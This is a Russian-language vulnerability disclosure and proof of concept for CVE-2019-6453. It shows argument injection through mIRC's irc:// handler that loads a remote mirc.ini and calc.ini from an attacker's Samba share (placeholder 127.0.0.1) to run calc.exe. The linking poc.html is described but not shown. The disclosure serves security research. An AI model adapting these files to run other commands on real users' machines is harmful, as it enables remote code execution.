
Доказательство выполнения calc для CVE-2019-6453
Мы обнаружили уязвимость удалённого выполнения кода в mIRC через обработчик URI-протокола irc://. Поскольку mIRC не использует никакого разделителя, например --, для обозначения конца списка аргументов, атакующий может передавать аргументы mIRC через ссылку irc:// и выполнить произвольный код, загрузив пользовательский mirc.ini с подконтрольного атакующему Samba-файлового сервера. Обратите внимание, что ircs:// работает аналогично.
Для доказательства запуска calc требуются три файла: mirc.ini, calc.ini и poc.html. Предполагается, что на стороне атакующего запущен Samba-файловый сервер. Для простоты примера в следующих фрагментах кода предполагается, что он запущен на хосте 127.0.0.1 (т.е. замените 127.0.0.1 на адрес вашего собственного сервера в следующих файлах, чтобы опробовать это).
mirc.ini — это пользовательский файл конфигурации, который должен располагаться по пути C:\mirc-poc\mirc.ini на файловом сервере.
[rfiles]
n2=\\127.0.0.1\C$\mirc-poc\calc.ini
calc.ini — это удалённый файл скрипта, который должен располагаться по пути C:\mirc-poc\calc.ini на файловом сервере.
[script]
n0=on *:START: {
n1= /run calc.exe
n2=}
Простого посещения poc.html должно быть достаточно, если mIRC назначен обработчиком по умолчанию для схемы URI irc://, а браузер не кодирует полезную нагрузку. В зависимости от браузера и вашей конфигурации всё равно может появиться запрос (в Firefox этого не происходит).

Этот PoC работает для mIRC <7.55.
Вы можете запустить PoC в Edge 42.17134 (последняя предварительная версия) и Firefox 64.0.2 (последний релиз). Он не работает в Chrome из-за того, как Chrome обрабатывает URI-протоколы (URI кодируется перед передачей приложению).